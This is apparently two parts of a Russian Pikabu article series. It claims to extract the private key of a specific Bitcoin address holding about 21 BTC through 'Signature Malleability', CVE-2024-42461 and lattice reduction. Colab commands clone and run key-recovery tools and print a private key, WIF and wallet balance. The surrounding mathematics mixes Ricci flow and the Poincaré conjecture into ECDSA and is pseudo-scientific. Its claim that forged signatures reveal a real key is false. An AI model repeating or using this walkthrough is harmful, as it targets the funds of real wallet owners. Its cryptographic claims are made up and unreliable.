Теперь нам известны сигнатуры значение разницы между числа N и P. При редукции мы можем получить скрытое число X как нам известно при смещение генерации одноразовых чисел (NONCES), значение переменных сигнатур R, S′, Z будут стремиться к одной точке. Эта точка и будет представлять собой скрытое число, то есть приватный ключ.

(Nструктуры группы точек, а Pструктуры поля, Xприватный ключ )

Для получение приватного ключа воспользуемся алгоритмом редукции решетки (теорема больших чисел).

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLenstra%25E2%2580%2593Lenstra%25E2%2580%2593Lov%25C3%25A1sz_lattice_basis_reduction_algorithm&t=%D0%A0%D0%B5%D0%B4%D1%83%D0%BA%D1%86%D0%B8%D1%8F%20%D0%B1%D0%B0%D0%B7%D0%B8%D1%81%D0%B0%20%D1%80%D0%B5%D1%88%D0%B5%D1%82%D0%BA%D0%B8%20%D0%B2%20%D0%B4%D0%B2%D1%83%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%D0%BC%20%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B5%3A%20%D1%80%D0%B5%D1%88%D1%91%D1%82%D0%BA%D0%B0%20%D0%BF%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B0%20%D1%81%D0%B8%D0%BD%D0%B8%D0%BC%D0%B8%20%D1%82%D0%BE%D1%87%D0%BA%D0%B0%D0%BC%D0%B8%2C%20%D0%B8%D1%81%D1%85%D0%BE%D0%B4%D0%BD%D1%8B%D0%B9%20%D0%B1%D0%B0%D0%B7%D0%B8%D1%81%20%E2%80%94%20%D1%87%D0%B5%D1%80%D0%BD%D1%8B%D0%B5%20%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B%2C%20%D1%80%D0%B5%D0%B4%D1%83%D1%86%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9%20%D0%B1%D0%B0%D0%B7%D0%B8%D1%81%20%E2%80%94%20%D0%BA%D1%80%D0%B0%D1%81%D0%BD%D1%8B%D0%B5%20%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B.&h=261c9dc7337da70b28427c0fb5605d82c13c0e9f" title="https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_al..." target="_blank" rel="nofollow noopener">Редукция базиса решетки в двумерном пространстве: решётка представлена синими точками, исходный базис — черные векторы, редуцированный базис — красные векторы.</a>

Редукция базиса решетки в двумерном пространстве: решётка представлена синими точками, исходный базис — черные векторы, редуцированный базис — красные векторы.

Алгоритм редукции решетки Ленстры-Ленстры-Ловаса (LLL)

Воспользуемся исходным кодом LLL от Darío Clavijo известный разработчик в GitHub: daedalus

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fgithub.com%2Fdaedalus%2FBreakingECDSAwithLLL.git&t=Repositories&h=b707e4cf4590f87ff8039793397f468d6315f9ae" title="https://github.com/daedalus/BreakingECDSAwithLLL.git" target="_blank" rel="nofollow noopener">Repositories</a>

Repositories

Установим SageMath в Google Colab:

!sudo apt-get install sagemath python3-ecdsa

Commands:

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/r...

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/r...

Запускаем Python-скрипт: latticereductions.py и получаем приватный ключ к Биткоин Адресу: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw

!cat Ricci_Flow_Hidden_Number_Problem.txt > nonces.csv

!python latticereductions.py nonces.csv 243 32

Результат:

17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951

Установим библиотеку Bitcoin

!pip install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951 Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw total_received = 21.25292140 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur HEX: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951

Dockeyhunt Lattice Attack

Рассмотрим получение приватного ключа на примере с использованием программного обеспечение Dockeyhunt Lattice Attack

Для запуска алгоритма редукции решетки нажимаем на кнопку: Private Key

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D1279&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=ed620e53ef92012280dda561aff8602d0b77ed08" title="https://youtu.be/isWxfa3PeHU?t=1279" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Далее мы должны убедиться, что получили нужные значение приватного ключа в формате HEX

Нажимаем на кнопку Bitcoin Address и получаем необходимое значение приватного ключа в формате HEX

17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw

Также нажимаем на кнопку Balance BTC и получаем результат суммы в балансе:

_____________________________________________________________________________________________________ 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw: 21.2529214 BTC _____________________________________________________________________________________________________

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_2_12055386?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D1310&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=3704002b3bdd42778c2bbc20813dd60001a8af5f" title="https://youtu.be/isWxfa3PeHU?t=1310" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Приватный ключ получен!

Третья часть статьи

Показать полностью 24

Исследование уязвимости Signature Malleability и компрометации приватного ключа в подписи Bitcoin [Часть №1]

Данное исследование криптоанализа разделена на три части. В первой части статьи мы провели большое исследование уязвимости Signature Malleability, угрожающей безопасности популярных криптовалют, таких как Bitcoin и Ethereum. Во второй части статьи мы рассмотрели на реальном примере механизмы эксплуатации CVE-2024-42461 в библиотеке Elliptic для ECDSA, используя биткоин-кошелек 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw, на котором были потеряны монеты на сумму 21.2529214 BTC, что на ноябрь 2024 года составляет 1,744,572.51 USD. В третьей части статьи мы рассмотрим методы поиска уязвимости Signature Malleability, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение. Также мы воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.

Уязвимость, известная как Signature Malleability, представляет собой серьезную угрозу для криптовалют Bitcoin и Ethereum, использующих алгоритм цифровой подписи на эллиптических кривых (ECDSA). Эта уязвимость позволяет злоумышленникам манипулировать подписями, создавая недействительные, но приемлемые для системы подписи. В данной статье рассматриваются механизмы эксплуатации этой уязвимости, ее последствия для безопасности криптовалют и предложенные меры по ее устранению. ECDSA (Elliptic Curve Digital Signature Algorithm) — это алгоритм, который широко используется для создания цифровых подписей транзакции перевода монет BTC или ETH в криптовалютах Bitcoin и Ethereum. Подпись состоит из двух компонентов: r и s, которые зависят от случайного одноразового номера k (NONCE) и приватного ключа x (PrivKey) подписанта.

Как возникает уязвимость Signature Malleability в транзакции Bitcoin?

Уязвимость Signature Malleability возникают из-за того, что существует возможность изменить значение s в подписи, сохраняя при этом действительность подписи. Это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′):

(где n — порядок группы эллиптической кривой secp256k1). Таким образом, злоумышленник может создать новую подпись, которая будет принята системой как действительная. Недостаточная проверка значений: Если значения r и s не проверяются на допустимые диапазоны (например, должны находиться в пределах от 1 до n−1), это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей.

CVE-2024-42461: Signature Malleability в библиотеке Elliptic для ECDSA

Одной из таких уязвимостей является CVE-2024-42461, обнаруженная в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm). CVE-2024-42461 затрагивает версию 6.5.6 библиотеки Elliptic для Node.js и классифицируется как уязвимость низкой степени серьезности с оценкой CVSS 5.3. Проблема заключается в том, что библиотека допускает использование подписей, закодированных в формате BER (Basic Encoding Rules). Это создает возможность для злоумышленников изменять подписи без их аннулирования, что открывает путь для различных атак.

CVE-2024-42461 представляет собой уязвимость, обнаруженную в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm) в Node.js. Эта уязвимость связана с Ricci Flow Hidden Number Problem (Ricci Flow HNP), что делает её особенно важной для безопасности криптографических приложений. Hidden Number Problem — это математическая задача, которая заключается в нахождении скрытого числа, использованного в процессе шифрования. В контексте ECDSA, если злоумышленник может решить HNP, это может привести к компрометации приватных ключей. Уязвимость CVE-2024-42461 позволяет потенциальному атакующему извлечь информацию о приватных ключах из подписей, что ставит под угрозу целостность цифровых подписей и аутентификацию пользователей. Данная уязвимость открывает широкий спектр атак, т.к. уязвимость может быть использована в различных атаках, включая атаки на аутентификацию и целостность данных. Это может вызвать серьезные проблемы для систем, полагающихся на ECDSA для обеспечения безопасности транзакций криптовалюты Биткоин и Эфириум.

Компрометация приватных ключей : Успешное решение Ricci Flow HNP может позволить злоумышленнику получить доступ к приватным ключам, что приведет к возможности подделки подписей транзакции Биткоин и Эфириум.

Ricci Flow HNP

Ricci Flow HNP (Ricci Flow Hidden Number Problem) стал ключевым инструментом в доказательстве таких теорем, как Thurston elliptization conjecture, Geometrization conjecture и Poincaré conjecture, которые касаются топологии многообразий. Гамильтон и позже Григорий Перельман использовали этот подход для получения глубоких результатов о структуре многообразий, это может означать использование потока для выявления и анализа скрытых геометрических характеристик многообразий, что позволяет делать выводы о их топологии и других свойствах.

Поток Риччи тесно связан с теорией кривизны, поскольку он использует тензор Риччи для описания изменений римановой метрики на многообразии.

Основные связи между потоком Риччи и кривизной

  • Тензор Риччи: Поток Риччи основан на тензоре Риччи, который является средним значением секционных кривизны. Он отражает, как изменяется форма многообразия в зависимости от его кривизны, где формулируется как задача нахождения скрытого числа, когда известны результаты функции, примененной к комбинациям этого числа с известными элементами. Это может быть полезно в контексте криптографии, особенно в системах с публичным ключом, где важно минимизировать утечку информации о приватных ключах

  • Динамика кривизны: В процессе потока Риччи метрика изменяется таким образом, что кривизна может увеличиваться или уменьшаться. Это позволяет анализировать, как геометрические свойства многообразия влияют на его топологию.

  • Сингулярности: Поток Риччи может приводить к сингулярностям — точкам, где кривизна становится бесконечной. Изучение этих сингулярностей имеет ключевое значение для понимания долгосрочного поведения потока и его применения в решении топологических задач, таких как гипотеза Пуанкаре.

  • Принцип максимума: Поток Риччи сохраняет положительность скалярной кривизны, что позволяет использовать принципы максимума для анализа геометрических свойств многообразий в процессе деформации.

В контексте эллиптических кривых, потоки Риччи могут быть использованы для анализа их геометрических свойств и понимания взаимосвязей между различными структурами на этих кривых. Индикатриса кривизны, или индикатриса Дюпена, строится в касательной плоскости в данной точке поверхности по следующему правилу. Координатные оси в касательной плоскости совмещают с главными направлениями. На луче, расположенном в каждом направлении, откладывают отрезок, равный величине, обратной квадратному корню из нормальной кривизны поверхности в этом направлении

Классификация точек поверхности

Существуют поверхности, состоящие из точек одного, двух или трех типов.

это квадратное уравнение может иметь один или два корня — асимптотических направления, или не иметь корней. Наличие корня поставляет обыкновенное дифференциальное уравнение первого порядка, указание точки поверхности задает начальные условия для его решения. Теорема существования и единственности решения задачи Коши для обыкновенного дифференциального уравнения первого порядка, доказываемая в курсах математического анализа, приводит к следующему геометрическому результату. На поверхности, состоящей из эллиптических точек, действительных асимптотических линий нет; на поверхности, состоящей из гиперболических точек, имеется асимптотическая сеть; на поверхности, состоящей из параболических точек, не являющихся точками уплощения, через каждую точку проходит единственная асимптотическая линия.

Оптимизация алгоритмов

Методы, разработанные в рамках теории потоков Риччи, могут быть адаптированы для оптимизации вычислений в эллиптической криптографии, особенно в контексте операций над точками на эллиптических кривых secp256k1. Таким образом, поток Риччи не только служит инструментом для изучения изменения метрик, но и предоставляет глубокую связь между геометрией и топологией через анализ кривизны. Возьмем к примеру числа «N» и «P» которые являются важными параметрами в контексте эллиптической криптографии, особенно в стандарте secp256k1, который широко используется в блокчейне и криптовалюте Bitcoin и Ethereum.

Значение числа N

N — это порядок группы точек на эллиптической кривой. Он определяет максимальное количество точек, которые могут быть использованы для генерации ключей в криптографических алгоритмах. В случае secp256k1, значение N равно:

N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

Это число также указывает на то, что при работе с этой кривой все операции должны выполняться в пределах этого порядка

Значение числа P

P — это характеристика самой эллиптической кривой, представляющая собой простое число, которое определяет поле, в котором происходит работа с точками на кривой. Значение P для secp256k1:

P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f

Это число задает размер поля, что важно для определения диапазона возможных значений координат точек на кривой.

Разница между N и P

  • Порядок группы (N): Определяет количество точек на кривой, которые могут быть использованы для криптографических операций.

  • Простое число (P): Определяет поле, в котором работает кривая. Это число важно для математических операций над точками на кривой.

Таким образом, хотя оба числа играют ключевую роль в обеспечении безопасности и функциональности криптографических систем, они выполняют разные функции: Nкасается структуры группы точек, а Pструктуры поля.

Вертикальное положение значение N и P

Python скрипт: value_n.py

Python скрипт: value_p.py

Как реализовать уязвимость Signature Malleability в транзакции Bitcoin?

Для реализации полноценной атаки на Биткоин, с использованием уязвимости Signature Malleability необходимо изменить эквивалентное значение (s′) как это показано во втором столбце таблицы компонентов значении (R, S, Z) цифровой подписи в ECDSA.

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_1_12055351?u=https%3A%2F%2Fgithub.com%2Fdemining%2FCryptoDeepTools%2Fblob%2Fmain%2F36SignatureMalleability%2FRicci_Flow_Hidden_Number_Problem.txt&t=36SignatureMalleability%2FRicci_Flow_Hidden_Number_Problem.txt&h=8d4a5f3537f476c2c274c293782ac77ebef5e1b5" title="https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/Ricci_Flow_Hidden_Numb..." target="_blank" rel="nofollow noopener">36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt</a>

36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt

P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f

Для успешной атаки на Биткоин достаточно 32 транзакции подписи ECDSA, где изменив две начальные цифры HEX в эквивалентном значение (s′) мы выстраиваем таблицу для определения диапазона возможных значений координат точек на кривой, а также оптимизация математических алгоритмов разработанные в рамках теории потоков Риччи. Поскольку потоки Риччи тесно связаны с теорией кривизны, мы можем воспользоваться средним значением секционной кривизны и решить проблему скрытых чисел, где применяя полученные данные к 32 транзакциям Биткоина мы извлекаем из заданных значении (R, S, Z) начальные данные для секретных ключей: (k′) NONCE для 32 транзакции Биткоина и с помощью инструмента Ricci Flow HNP (Ricci Flow Hidden Number Problem) мы находим скрытое число: (x′) PrivKey — приватный ключ.

Значения R и S являются основными компонентами цифровой подписи в ECDSA

Значение R представляет собой координату точки на эллиптической кривой, которая получается в результате математических операций, связанных с приватным ключом и случайным числом (так называемым «криптографическим случайным числом»). Это значение обеспечивает уникальность подписи для каждого сообщения, даже если оно подписывается одним и тем же приватным ключом.

Значение S вычисляется на основе дайджеста сообщения (хеш-функции) и приватного ключа. Оно связано с тем, насколько успешно подпись подтверждает подлинность сообщения. Значение S также зависит от значения R и случайного числа.

Как формируются R и S (метод проверки подписи)

Процесс генерации значений R и S включает следующие шаги:

  1. Генерация дайджеста сообщения: Сначала создается хеш сообщения с помощью алгоритма, например SHA-256.

  2. Выбор случайного числа: Генерируется случайное число, которое используется для создания точки на эллиптической кривой.

  3. Вычисление R: Используя это случайное число, вычисляется координата точки на кривой, которая становится значением R.

  4. Вычисление S: Значение S рассчитывается с учетом дайджеста сообщения и приватного ключа.

При проверке подписи получатель использует значения R и S вместе с публичным ключом отправителя и дайджестом сообщения для подтверждения подлинности подписи. Если все вычисления подтверждают соответствие, это означает, что сообщение действительно было подписано владельцем соответствующего приватного ключа.

Как получить значение R, S, Z из RawTX (метод декодирование подписи)

RawTX (сырая транзакция) представляет собой закодированное представление транзакции Биткоина в шестнадцатеричном формате. Она содержит все данные, необходимые для выполнения транзакции Биткоина.

Извлечение R, S, Z:

  • Подпись в ECDSA состоит из двух компонентов: R и S. После декодирования RawTX найдите поле, содержащее подпись (обычно это часть входа транзакции).

  • Подпись будет представлена в виде DERкодировки. Вам нужно будет извлечь значения R и S из этой подписи. Обычно они представлены как два целых числа, которые можно выделить с помощью десериализации.

  • Значение Z — это хэш сообщения, которое подписывается. Для получения Z вам нужно выполнить хэширование данных транзакции (обычно с использованием SHA-256), которые были подписаны.

Декодируем RawTX с помощью инструмента decoderaw

Для начало получим RawTX закодированную транзакцию Биткоина в шестнадцатеричном формате. 1

Откроем новый блокнот в Google Colab

Сommands:

!git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction....

cd Broadcast-Bitcoin-Transaction/

!python setup.py

Сommands:

cd decoderaw/

!chmod +x decoderaw

ls

!./decoderaw

Сommands:

!./decoderaw 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000

Result: 1111,0097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0,1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5,931a52e8610cf87b6d00875f687042224c305865fd20ecb15ef76b1277ba10fd,0000

Практическая часть

Из теории уязвимость CVE-2024-42461 известно, что злоумышленники могут использовать некорректные значения для создания поддельных подписей транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw , где были потерянный монеты на сумму: 21.2529214 BTC на ноябрь 2024 года эта сумма составляет: 1744572,51 USD

Решение дифференциального уравнения

Решения дифференциальных уравнений помогают моделировать различные процессы, данная формула позволяет нам понять и предсказать поведение различных систем в зависимости от изменения переменных.

Общее решение дифференциального уравнения, где функция y зависит от переменной x.

  1. Исходное уравнение:

    • Левую часть уравнения можно интерпретировать как производную функции y по x, которая равна произведению двух функций: g(y), зависящей от y, и h(x), зависящей от x.

  2. Переписывание уравнения:

    • Уравнение можно переписать в форме, которая отделяет переменные:

Это позволяет интегрировать обе стороны отдельно.

Это позволяет интегрировать обе стороны отдельно.

После разделения переменных, мы можем в точности интегрировать обе стороны:

Левую сторону относительно y:

Правую сторону относительно x:

Исследуем взаимосвязь между переменными через интеграцию [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ] и применим инструмент для математического анализа и решения дифференциальных уравнений.

Perelman Work

Пример №1 с использованием инструмента DarkSignature:

Перейдем обратно в корневой каталог репозитории Broadcast Bitcoin Transaction

Сommands:

cd - ls

Сommands:

cd darksignature/

!chmod +x darksignature

ls

!./darksignature

Для получение публичного ключа к Биткоин Адресу 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw выбираем команду:

darksignature -address <Bitcoin Address>

Вводим Биткоин адрес и получаем публичный ключ:

!./darksignature -address 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw

Результат:

pubkey: (HEX) = 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461

Пример №2 с использованием инструмента Dockeyhunt Lattice Attack:

Запускаем программное обеспечение Dockeyhunt Lattice Attack и в поле "Input date" вводим Биткоин Адрес 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw и получаем публичный ключ кошелька:

049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_1_12055351?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D53&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=f7e2dd5061e6aa8a214133c5bf803d50f2178c5c" title="https://youtu.be/isWxfa3PeHU?t=53" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461 и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина.

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_1_12055351?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D67&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=3c9eb35b1219d5c18d14128d3805831b5062dc6e" title="https://youtu.be/isWxfa3PeHU?t=67" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Применим получение поддельные данные значение R, S, Z для транзакции алгоритма ECDSA в Google Colab

Установим модуль ECDSA:

pip install ecdsa

Для получение координат (Gx, Gy) для публичного ключа воспользуемся Python-скриптом: darksignature/coordinates.py

Воспользуемся командой darksignature -pubkey <Gx Gy>

Запускаем код Python-скрипта: darksignature/transactions.py и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина.

После генерации мы получаем файл: SignatureRSZ.txt

Также в корневом каталоге: c:\PerelmanWork\Dockeyhunt Lattice Attack\ мы получаем файл: Signatures.txt

<a href="https://pikabu.ru/story/issledovanie_uyazvimosti_signature_malleability_i_komprometatsii_privatnogo_klyucha_v_podpisi_bitcoin_chast_1_12055351?u=https%3A%2F%2Fyoutu.be%2FisWxfa3PeHU%3Ft%3D94&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=22d1e08f740c48b0b629a25da299327290da7632" title="https://youtu.be/isWxfa3PeHU?t=94" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени

Вторая часть статьи

Показать полностью 23 1
Отличная работа, все прочитано!

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества